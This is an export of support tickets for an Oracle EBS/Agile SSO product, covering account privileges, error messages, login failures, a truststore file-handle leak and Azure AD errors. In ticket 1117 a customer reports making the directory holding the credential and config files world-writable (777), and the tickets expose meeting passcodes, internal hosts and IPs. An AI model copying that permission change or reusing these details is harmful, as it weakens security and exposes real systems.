SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-07-13 17:03:12 UTC

EIK-LM 2003 (jdbc error) dbcx was re - generated and html form adapter issue resolved

TICKET DISPLAY ID : 1114

SUBJECT : using alternate database account rather than using APPS account (admin account)

PROBLEM DESCRIPTION : Hello , can you help with this? The integration works with the DBCX file that is generated using admin APPS account which has access to all the database objects in User Fee system. The current request is to get EBS Objects list and the privileges that needs granted to alternate database account rather than using APPS account (admin account), so that this integration works with limited/restricted access to User Fee database. Can you provide us assistance with this? Also , can we have a zoom or teams call to discuss some more items?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1110> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Jasvir Chahil, Kindly send us a meeting invite to discuss this as mentioned. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, thank you for the quick response , please see the meeting invite via Microsoft TEAMS for today at 2:30PM EST. I've attached it as a .ics calendar invite format as well. Please confirm this works?

---

\_ Microsoft Teams meeting Join on your computer, mobile app or room device [Click here to join the](#)



meeting Meeting ID: 292 641 905 663 Passcode: EMEsSP Download Teams | Join on the web Or  
call in (audio only) +1 202-964-4011,,111812586# United States, Washington DC Phone  
Conference ID: 111 812 586# Find a local number | Reset PIN Learn More | Meeting options

Hi Jasvir Chahil, Noted ! ? Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, ? We have a dedicated user known as EIKUSER, responsible for handling the  
connection tasks. The credentials of the APPS will only be utilized during the registration of  
EIKUSER at the time of DBCX file generation. This is a standard procedure, and it aligns with  
Oracle's approach to registering external services with their systems. Its rest assured, that this  
process ensures secure and seamless integration of external services with the platform. Ticket URL  
- <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <--  
This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Discussion on low privilege APPS account

Hi Jasvir Chahil, Based on todays meeting, we will discuss with our development team and get back  
to you. Please feel free to have your suggestion or share more details if you think will be beneficial  
to us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK  
Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to  
this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, We have discussed with the product team, and it has been determined that the APPS account privileges cannot be changed. It is confirmed that there is no need to re-generate the dbcX file after resetting the password for the APPS user. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil/Ramesh We truly apologize for the miscommunication by the team earlier. We need to regenerate the DBCX file for Apps password reset, this is not needed for a DB refresh. Please let us know if you have any additional questions and update us when the issue is resolved. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, We shall be closing this ticket, Since we did not receive any response from your end. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1114> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1115

SUBJECT : Customize Authenion error message for EBS user not found

PROBLEM DESCRIPTION : Authenion is giving below error whenever FND user not found in EBS. Unfortunately, it feels that there is an issue with the system rather than User not found. How do we customize above message and add some kind of links to one of the Bechtel Help page?

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-07-20 11:05:39 UTC

Hi Anil Dutta, Please send us error logs, and make sure please create a user in DB. ? Note: In the future please contact via portal. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1115> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please add the below lines in the EIKAuth.config file for Customization.  
logoPath=<company logo link here> helpdeskMessage=<p>If issue persists, please contact technical <a href=<Ur message or URL link here>>support</a></p> After making changes in the EIKAuth.config file, need to restart Tomcat instance. If you encounter any issues, please reach out to us for assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1115> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, we have uploaded the log file and snapshot of error message. This error message comes when user does not exist in the EBS application. This error message shows some issue with the system. we want customize message when user does not exist in the EBS. For example "User not Exists in applicatio"

```
2023-07-20T06:27:16.807-0700 INFO [https-jsse-nio-8443-exec-8]
[com.likeminds.ebsauth.service.AuthService] User ADUTTA2 existence in EBS: false
2023-07-20T06:27:16.807-0700 DEBUG [https-jsse-nio-8443-exec-8]
[com.likeminds.ebsauth.service.AuthService] JIT is disabled, Provisioning will not be performed
2023-07-20T06:27:16.807-0700 INFO [https-jsse-nio-8443-exec-8]
[com.likeminds.ebsauth.service.AuthService] User doesn't exists, but JIT provisioning is disabled
2023-07-20T06:27:16.863-0700 INFO [https-jsse-nio-8443-exec-8]
[com.likeminds.ebsauth.controller.BaseController] Error Encountered : User not found
```

2023-07-20T06:27:16.880-0700

WARN

[https-jsse-nio-8443-exec-8]

[com.likeminds.ebsauth.exception.EikExceptionResolver]

EIK

exception:

EIK\_USER\_NOT\_FOUND\_ERROR

Hi Anil Dutta, Our current version does not support customizing the error messages. It allows placing links for help desk as mentioned in the previous email. We have forwarded your request to our development team as a feature request. Note:- Please make a changes of EIKAuth.config file as mentioned in previous email. Please let us know if you face any issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1115> Thanks, Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Kindly provide us with an update on Ticket 1115. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1115> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are closing ticket 1115, Should you have any queries please revert back to us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1115> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1116

SUBJECT : EBS instance on a different Domain (404 not found error for the NSED instance)

PROBLEM DESCRIPTION : We are still getting ?404 not found? error for the NSED instance, pls

advice.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-07-20 11:57:07 UTC

Hi Sgopalan, To assist you in resolving the "404 not found" error, Please provide the following files (authenion logs and EIK logs(debug and error)), as well as network trace for the transaction. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1116> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Sgopalan, Kindly provide us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1116> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Sgopalan, Kindly provide us with an update on Ticket 1116. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1116> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This specific issue has been resolved. Regards Sanjay

TICKET DISPLAY ID : 1117

SUBJECT : EBS Production SSO issue

PROBLEM DESCRIPTION : We are getting issue in EBS Production SSO. Today we are rollout the Authenion SSO in Production and this issue reported in Production. We are getting the below errors

in Authenion. 2023/07/22 09:16:13 [warn] 32513#32513: \*5881 upstream server temporarily disabled while connecting to upstream, client: 10.220.216.241, server: ebs-sso.oci.becpsn.com, request: "GET

/EBSP/ssologin?requestUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FOA.jsp%3Fpage%3D%2Foracle%2Fapps%2Fnd%2Fframework%2Fnavigate%2Fwebui%2FHomePG%26homePage%3DY%26transactionid%3D584705175%26oapc%3D22%26oas%3DgRX7oV6wR-FsygnGBI-e3w..&errText=You+have+insufficient+privileges+for+the+current+operation.&cancelUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FAppsLogin HTTP/1.1", upstream: "https://10.171.2.51:8443/EBSP/ssologin?requestUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FOA.jsp%3Fpage%3D%2Foracle%2Fapps%2Fnd%2Fframework%2Fnavigate%2Fwebui%2FHomePG%26homePage%3DY%26transactionid%3D584705175%26oapc%3D22%26oas%3DgRX7oV6wR-FsygnGBI-e3w..&errText=You+have+insufficient+privileges+for+the+current+operation.&cancelUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FAppsLogin", host: "ebs-sso.oci.becpsn.com", referrer: "https://login.microsoftonline.com/" oacore: 10.220.216.241 - - [22/Jul/2023:09:14:48 -0700] "GET

/OA\_HTML/AppsLogin?requestUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FOA.jsp%3Fpage%3D%2Foracle%2Fapps%2Fnd%2Fframework%2Fnavigate%2Fwebui%2FHomePG%26homePage%3DY%26transactionid%3D323259641%26oapc%3D21%26oas%3DdhhzgN5lx90h2zG9vt\_xNw..&cancelUrl=https%3A%2F%2F ebs.oci.becpsn.com%3A443%2FOA\_HTML%2FAppsLogin&errText=You+have+insufficient+privileges+for+the+current+operation. HTTP/1.1" 302 1331

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.82  
seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Anil Dutta, Please send us full logs (EIK & Authenion ). Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find the attached Authenion and EIK log files.

Hi Anil Dutta, Can you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please provide an update on this issue. Please let us know if you need any support from us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are still seeing the errors in authenion and EBS oacore application logs. The Zip provided earlier has authenion and EIK logs. Please send me a meeting invite to show the error logs. We have to resolve the issue ASAP, otherwise we have to rollback the authenion in production. Thank you.

Hi Anil Dutta, Okay, sure we will send meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Can you please join this meeting link.

[https://teams.microsoft.com/l/meetup-join/19:meeting\\_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D](https://teams.microsoft.com/l/meetup-join/19:meeting_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D) Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, can you please join the call, we are waiting for you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are having issue in production . Can you please setup a immediate call? Thanks Pratteek

Hi Anil Dutta, Sure we will sending the meeting invite shortly. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Can you please join in below meeting link [https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F\\_%23%2Fmeetup-join%2F19%3Ameeting\\_YTRiYjg0MWMtOGUwZC00OTA3LWE0YTgtMjNhMWIzZWFiYmI1%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%2522a8c76ce0-14ac-45ae-a6e3-44dad3757e47%2522%257d](https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F_%23%2Fmeetup-join%2F19%3Ameeting_YTRiYjg0MWMtOGUwZC00OTA3LWE0YTgtMjNhMWIzZWFiYmI1%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%2522a8c76ce0-14ac-45ae-a6e3-44dad3757e47%2522%257d)



%26anon%3Dtrue&type=meetup-join&deeplinkId=d8c23b19-8731-415a-bf94-924543a21eb1&direct  
DI=true&msLaunch=true&enableMobilePage=true&suppressPrompt=true      Ticket      URL      -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

PFA... tomcat logs

Please find the eik error logs from primary server ocis95144

Please find the eik error logs from primary server ocis951445

Hi Team, As per our call , we include the effected user in call and resolve their issue by clearing the  
browser history and temp cache and open the EBSP url in incognito window and they were able to  
login but some of the users are not able to login via edge browser so please look into this issue and  
why this issue intermittently coming to those users which have logged in earlier but not able to login  
second time. I have uploaded the requested files. Please let me know if any log file require. Prior to  
that we did following steps in our call Given the 777 permission to  
/u01/Tomcat/apache-tomcat-9.0.65/EBSP directory on both server and restarted the tomcat server  
on both nodes.

Hi Anil Dutta, Sure, We will check on that and let you know ASAP. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

This error message is coming intermittently in the EIK log file 2023-07-24T00:40:57.922-0700

```
ERROR [https-jsse-nio-8443-exec-8] [com.likeminds.ebsauth.exception.EikExceptionResolver]
Request Origination 10.171.2.51 2023-07-24T00:40:57.922-0700 ERROR
[https-jsse-nio-8443-exec-8] [com.likeminds.ebsauth.exception.EikExceptionResolver] No state
cookie value found in request 2023-07-24T00:52:30.290-0700 ERROR [https-jsse-nio-8443-exec-2]
[com.likeminds.ebsauth.exception.EikExceptionResolver]          OIDC_STATE_MISSING_ERROR
com.likeminds.ebsauth.exception.AuthException:          OIDC_STATE_MISSING_ERROR          at
com.likeminds.ebsauth.controller.AuthClientController.validateState(AuthClientController.java:162)
~[classes/:2.3.1.0]                                          at
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:109)
~[classes/:2.3.1.0] at sun.reflect.GeneratedMethodAccessor71.invoke(Unknown Source) ~[?:?] at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_311] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_311] at
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet
hod.java:205) ~[spring-web-5.3.26.jar:5.3.26]
```

Can we connect in quick call? please share the meeting link.

Hi Anil Dutta,

[https://teams.microsoft.com/l/meetup-join/19:meeting\\_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D](https://teams.microsoft.com/l/meetup-join/19:meeting_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

This error message also coming in EIK log file. 2023-07-24T03:06:46.300-0700 ERROR [https-jsse-nio-8443-exec-3] [com.likeminds.ebsauth.exception.EikExceptionResolver] Request Origination 10.171.2.103 2023-07-24T03:06:46.300-0700 ERROR [https-jsse-nio-8443-exec-3] [com.likeminds.ebsauth.exception.EikExceptionResolver] No state cookie value found in request 2023-07-24T03:06:46.300-0700 ERROR [https-jsse-nio-8443-exec-3] [com.likeminds.ebsauth.datasource.DataSourceManager] Config File not found /u01/Tomcat/apache-tomcat-9.0.65//EBSP/EIKAuth.config java.io.FileNotFoundException: /u01/Tomcat/apache-tomcat-9.0.65//EBSP/EIKAuth.config (Too many open files) at java.io.FileInputStream.open0(Native Method) ~[?:1.8.0\_311] at java.io.FileInputStream.open(FileInputStream.java:195) ~[?:1.8.0\_311] at java.io.FileInputStream.<init>(FileInputStream.java:138) ~[?:1.8.0\_311] at java.io.FileInputStream.<init>(FileInputStream.java:93) ~[?:1.8.0\_311] at com.likeminds.ebsauth.datasource.DataSourceManager.getClientConfigProps(DataSourceManager.java:676) ~[classes/:2.3.1.0] at com.likeminds.ebsauth.exception.EikExceptionResolver.doResolveException(EikExceptionResolver.java:133) ~[classes/:2.3.1.0] at org.springframework.web.servlet.handler.AbstractHandlerExceptionResolver.resolveException(AbstractHandlerExceptionResolver.java:142) ~[spring-webmvc-5.3.26.jar:5.3.26] at org.springframework.web.servlet.DispatcherServlet.processHandlerException(DispatcherServlet.java:1332) ~[spring-webmvc-5.3.26.jar:

tomcat process has opened 4099 file which is more than default 4096 open files value at OS level. We have increased the value to 65536 at OS level. Please analyze why tomcat process have opens more files?

Hi Anil Dutta, okay, sure we will look into this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please can you check whether EIKHOME is setted properly, and can you please let us know list of files in the eik directory. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

EIKHOME is set to the correct value. please see. Please analyze and check why tomcat process has opened more than 4096 files. [sorafinp@ocis95144 ~]\$ cat .bash\_profile export JAVA\_HOME=/u01/jdk export EIK\_HOME=/u01/Tomcat/apache-tomcat-9.0.65 export PATH=\$JAVA\_HOME/bin:\$PATH export TZ='America/Phoenix' [sorafinp@ocis95144 ~]\$ echo \$EIK\_HOME /u01/Tomcat/apache-tomcat-9.0.65 [sorafinp@ocis95144 ~]\$ cd /u01/Tomcat/apache-tomcat-9.0.65/EBSP/ [sorafinp@ocis95144 EBSP]\$ pwd /u01/Tomcat/apache-tomcat-9.0.65/EBSP [sorafinp@ocis95144 EBSP]\$ ls -ltr total 22144 -rwxrwxrwx. 1 sorafinp Inx-dba 8161902 Jul 18 01:04 EBSdatasource.jar -rwxrwxrwx. 1 sorafinp Inx-dba 58 Jul 18 01:04 security.properties -rwxrwxrwx. 1 sorafinp Inx-dba 2271 Jul 18 01:04 log4j2.xml -rwxrwxrwx. 1 sorafinp Inx-dba 1677922 Jul 18 01:04 EIKutility.jar -rwxrwxrwx. 1 sorafinp Inx-dba 1064 Jul 18 01:04 ebsauth.lic drwxrwxrwx. 2 sorafinp Inx-dba 31 Jul 18 01:28 logs -rwxrwxrwx. 1 sorafinp Inx-dba 1162 Jul 18 01:31 EIK.dbcx -rwxrwxrwx. 1 sorafinp Inx-dba 1430 Jul 18 02:01 EIKAuth.config -rwxrwxrwx. 1 sorafinp Inx-dba 12807505 Jul 23 21:20 log\_EBSP\_tomcat.zip drwxrwxrwx. 2 sorafinp Inx-dba 4096 Jul 24 04:24 log

Hi Anil Dutta, Please can you share EIKAuth.config file. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

uploaded the EIKAuth.config file for EBSP.

tomcat process opened these many process. There is entry "trustStorePath=/u01/jdk/jre/lib/security/cacerts" in EIKAuth.conf file. please analyze why it has opened this "/u01/jdk/jre/lib/security/cacerts" file so many times. [sorafinp@ocis95144 ~]\$ ls -l /proc/4589/fd|grep cacerts|wc -l 2242 lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 993 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 994 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 995 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 996 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 997 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 998 -> /u01/jdk/jre/lib/security/cacerts lr-x-----. 1 sorafinp lnx-dba 64 Jul 24 04:34 999 -> /u01/jdk/jre/lib/security/cacerts

Hi Anil Dutta, Please can you join below link [https://teams.microsoft.com/l/meetup-join/19:meeting\\_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D](https://teams.microsoft.com/l/meetup-join/19:meeting_ZmNIZjM1OTUtMmM1Yi00ZGVhLTg0MjAtNmYwMmZjMjk3ODEw@thread.v2/0?context=%7B%22Tid%22:%226e26baa3-bf93-4bf7-85ae-9111969cd7cc%22,%22Oid%22:%2265bb7ba8-fbdc-4c48-9871-0050f0c7d2fb%22%7D) Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit

the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are waiting in the bridge , please join the call. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team &lt-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Based on our discussion regarding the Intermittent Login failure issue, We have requested you to provide us with the: 1.EIK error log 2.Debug log 3.Request log 4.Screen shot of the error msg and NW trace (if possible) immediately at the particular time of failure. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, We were able to reproduce the problem. I have uploaded the EIK log files as well as SAML tracer and browser network log. Root cause: Whenever user access the favorite, user is facing the problem. Eg: [https://ebs.oci.becpsn.com/OA\\_HTML/OA.jsp?OAFunc=OASIMPLEHOMEPAGE](https://ebs.oci.becpsn.com/OA_HTML/OA.jsp?OAFunc=OASIMPLEHOMEPAGE).  
Thank you, Surendra Anpur

The problem is reproducible in dev, uat and prod environments. Please call us immediately to showcase the problem. Thank you, Surendra Anpur

[illegible]

252c%2522Oid%2522%253a%2522a8c76ce0-14ac-45ae-a6e3-44dad3757e47%2522%257d%26a  
non%3Dtrue&type=meetup-join&deeplinkId=f7e8dfa7-41a9-456f-a897-8894cbb7f13d&directDI=true  
&msLaunch=true&enableMobilePage=true&suppressPrompt=true Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please let us know your availability for a call today. We will setup a meeting with the  
product team today. Since this issue is reproducible in dev/uat, we can look into those environments  
to identify the cause. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Kindly send us an update on ticket 1117. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi, We have updated the icx\_cookie\_domain from becpsn.com to oci.becpsn.com EIKAuth.conf file;  
issue has been resolved now. But it is failing once in a while for some users. Thank you, Surendra  
Anpur

Hi Anil Dutta, Could you please send us: EIK error log, EIK debug log and Network trace. Ticket  
URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please give us an update on Ticket 1117 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1117> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1118

SUBJECT : Agile SSO and Azure AD are not working with Java client and Filemgr

PROBLEM DESCRIPTION : Hi Team, We implemented authenion SSO in Agile application but it is not creating session for some of the agile utility and also Azure AD is not working. Is there any setting need to configure on Agile JavaClient end and Azure Ad side. Please advise. Here is the

error: 023-07-25 03:54:22 INFO GetReqDocs:74 -  
+++++ DOC DATA PX  
Started...+++++ 2023-07-25 03:54:22 INFO  
GetReqDocs:79 - Getting the Agile session... 2023-07-25 03:54:22 INFO GetReqDocs:81 -  
cookiesFlag :Yes 2023-07-25 03:54:22 INFO AgileUtil:208 - \*\*\*\*\*Inside Cookie  
Connect()\*\*\*\*\* 2023-07-25 03:54:22 INFO AgileUtil:212 - AGILE\_URL  
:https://agileosand.oci.becpsn.com/Agile 2023-07-25 03:54:23 ERROR GetReqDocs:88 - Session  
Creation error : Error code : 60086 Error message : Call APIException.getRootCause() for details.  
Root Cause exception : java.io.IOException: Server returned HTTP response code: 400 for URL:  
https://becpsnb2c.b2clogin.com/becpsnb2c.onmicrosoft.com/oauth2/v2.0/authorize?p=B2C\_1A\_sig  
nup\_signin\_JWT\_Authenion\_Stag&client\_id=33f69b6d-eed2-4055-968c-0ca18ba727d4&response\_t  
ype=code&state=Y29tLmF1dGhlbmlvbi5zc29saWJyYXJ5LnN0YXRlOmh0dHBzOi8vYWdpbGVvc2F  
uZC5vY2kuYmVjcHNuLmNvbS9BZ2lsZS9TZXJ2ZXJBUElQcm9wZXJ0aWVz&scope=33f69b6d-eed  
2-4055-968c-0ca18ba727d4



openid&redirect_uri=https://agileosand.oci.becpsn.com/ssolibrary/oidc/callback	at
com.agile.api.AgileSessionFactory.init(AgileSessionFactory.java:919)	at
com.agile.api.AgileSessionFactory.createSession(AgileSessionFactory.java:1049)	at
com.agile.util.AgileUtil.connect(AgileUtil.java:226)	at
com.agile.servlets.GetReqDocs.doGet(GetReqDocs.java:84)	at
javax.servlet.http.HttpServlet.service(HttpServlet.java:626)	at
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)	at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)	at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)	at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)	at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)	at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)	at
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)	at
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)	at
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)	at
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143)	at
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)	at
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687)	at
